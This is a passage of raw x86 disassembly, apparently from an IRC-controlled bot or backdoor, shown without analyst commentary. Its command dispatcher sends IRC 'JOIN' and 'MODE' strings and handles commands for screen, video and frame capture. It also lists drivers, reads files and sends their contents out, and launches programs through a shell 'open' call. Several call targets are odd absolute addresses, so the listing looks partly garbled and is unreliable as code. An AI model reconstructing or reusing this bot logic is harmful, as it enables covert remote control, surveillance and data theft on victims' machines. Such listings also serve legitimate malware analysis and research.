		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42A4F8


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A4CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset dword_42A490
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A488
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A480
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A474
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB1C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A480
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A458


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A450
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A480
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A434
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_42A480
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A418
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_42A3F0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A3E4
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2820566h
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42A3D0
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB04
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3B4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A394
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A374


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A34C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A31C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A300
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A2CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_42A29C
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_42A260


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB654
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A230
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A208
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A1D4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_42A1A0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_42A168


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_42A134
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_42A0F4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_42A0B4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A090
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42A06C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_42A068 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42A03C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A024
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_42A004
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429FE8
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FD0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_429F90


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429F78
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 282080Eh
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F38
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A740
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429F14
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429EE4


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429EC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_429E94
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB5DC
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E74
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB6A8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6B0
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_429E4C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E24
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB590
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429E04
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429DE0
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DB8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB1C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
